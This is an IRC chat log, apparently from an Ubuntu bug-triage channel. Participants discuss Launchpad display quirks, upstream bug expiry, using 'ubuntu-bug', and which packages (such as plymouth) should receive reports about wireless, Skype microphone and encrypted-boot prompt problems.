[22:58] <wxl> https://www.qt.io/events/meet-qt-514-americas-1575309404
[22:59] <wxl> https://www.qt.io/events/python-and-c-interoperability-with-shiboken-1575468307


[17:10] <vish> is anyone else noticing on LP that the list of subscribers is only main bug reporters/subscribers or from dups?
[17:10] <vish> the previous subscribers list is not displayed..
[17:25] <bdmurray> vish: the also notified part?  I see that
[17:25] <vish> yea those, odd that i cant see it on FF4
[17:29] <vish> also not visible on FF3.6 , but Chrome shows it.. o.0
[17:32] <vish> maybe it is because I'm in Malone Alpha Testers
[17:33] <vish> oh! I was not logged into LP in Chrome, so might be the malone thing thenn..
[18:51] <charlie-tca> How is it that launchpad now expires upstream tasks?
[18:51] <charlie-tca> bug 637747
[18:51] <ubot4> Launchpad bug 637747 in dasher (Ubuntu) (and 1 other project) "dasher crashed with SIGSEGV in Dasher::CDasherModel::HandleOutput() (affects: 1) (heat: 21)" [Medium,Incomplete] https://launchpad.net/bugs/637747
[18:53] <bdmurray> charlie-tca: looking
[18:55] <charlie-tca> Maybe I read it wrong?
[18:55] <bdmurray> charlie-tca: I don't think launchpad did rather its just reflecting the upstream change
[18:55] <charlie-tca> Okay, I can go with that then
[18:55] <bdmurray> you'd see a comment from the janitor if launchpad expired it
[18:56] <charlie-tca> that is a good thing, then
[18:56] <bdmurray> https://bugzilla.gnome.org/show_activity.cgi?id=640490
[19:40] <onox> how can I file a bug for ubuntu?
[19:40] <onox> I get redirected to some help page everytime
[19:41] <arand_> onox: Read it.       (hint: "ubuntu-bug packagename")
[19:41] <onox> hmm
[19:41] <onox> I don't really use ubuntu, it's for a web page that is related to ubuntu :p
[19:42] <bdmurray> onox: what page is that?
[19:42] <onox> all blog posts from jono bacon on planet gnome xD
[19:43] <bdmurray> that doesn't sound like a bug in Ubuntu the distribution which is were you were trying to report a bug
[19:44] <onox> yes, unfortunately launchpad only supports filing bugs for projects, not people :(
[19:45] <arand_> onox: You might want to, yo know, talk to Jono, about any issues, rather..
[19:46] <onox> I'll try to contact him via launchpad then :)
[19:55] <njin> jibel: bug 569591 reopened :.(
[19:55] <ubot4> Launchpad bug 569591 in linux (Ubuntu) "[Kubuntu 10.04] Compositing works, but cannot choose desktop effects. Fixed in Maverick (affects: 3) (heat: 11)" [Undecided,New] https://launchpad.net/bugs/569591
[19:56] <njin> bug 769591, sorry
[19:56] <ubot4> Launchpad bug 769591 in at-spi (Ubuntu) (and 1 other project) "many screen reader hangs and buffering during a11y installation (affects: 1) (heat: 8)" [Medium,Confirmed] https://launchpad.net/bugs/769591
[20:11] <Factor-H> Found the origin of the wireless nettops connection problem
[20:11] <Factor-H> It is in the hardware intialization
[20:13] <Factor-H> If the nettop starts with Windows, this initializes the hardware. Then Ubuntu 11.04 connects correctly instead of trying a connection ethernally (pun intended)
[20:14] <Factor-H> Until power is down and a new hardware init be used to get connection on 11.04
[20:15] <Factor-H> So, the problem is not in the driver, but on the initialization portion.
[20:19] <Factor-H> Question is: what and where was removed from the INIT string? How to put it there manually so it can connect?
[20:32] <Factor-H> Another bug, this one older, with indentified cause: SPKYPE mic not working
[20:33] <Ampelbein> Factor-H: do you have the bugnumber for your wireless init problem handy?
[20:33] <Factor-H> Reason: the board seems to be used as using stereo Input, and the sinal is subtracted (by Skype?)
[20:37] <Factor-H> What is observed: Using max amplification, a small very far sound from MIC is detected, but other applications work correctly, like the recorder. But there is no way anymore to "force" the application to use mono input
[20:46] <Factor-H> No... I do not even know how to FIND this already declared problem to point this out.
[20:46] <Factor-H> That's why I come here, trying to find a way to inform the Ubuntu maintainers
[20:49] <Factor-H> I noticed the reason behind the problem 2 days ago, but have not been able to place it as dificult as it is to do so. Until I found this IRC channel. So here I am and I'm gone. Done it! Both bugs wireless and sound.
[20:49] <Ampelbein> Factor-H: as a matter of fact, irc is a sub-optimal way to report bugs. this channel is mostly about triaging them. if you find a bug, you can use the 'ubuntu-bug' tool to do so.
[20:50] <Ampelbein> *do so = report it
[21:09] <astraljava> If I'm needed to switch to VT[1-6] and back to 7 to see the unlock with passphrase dialog on encrypted installs, which package do I file the bug on?
[21:10] <seb128> depends of what you are doing to get the issue
[21:10] <seb128> is that only by doing ctrl-alt-l?
[21:10] <seb128> or is the screen actually off?
[21:10] <seb128> it's likely a bug in the video driver you are using
[21:10] <astraljava> This happens while booting up.
[21:10] <astraljava> A-ha.
[21:11] <seb128> oh, it's at system start
[21:11] <astraljava> Yes.
[21:11] <seb128> try plymouth then
[21:11] <astraljava> Ok, thanks!
[21:11] <seb128> yw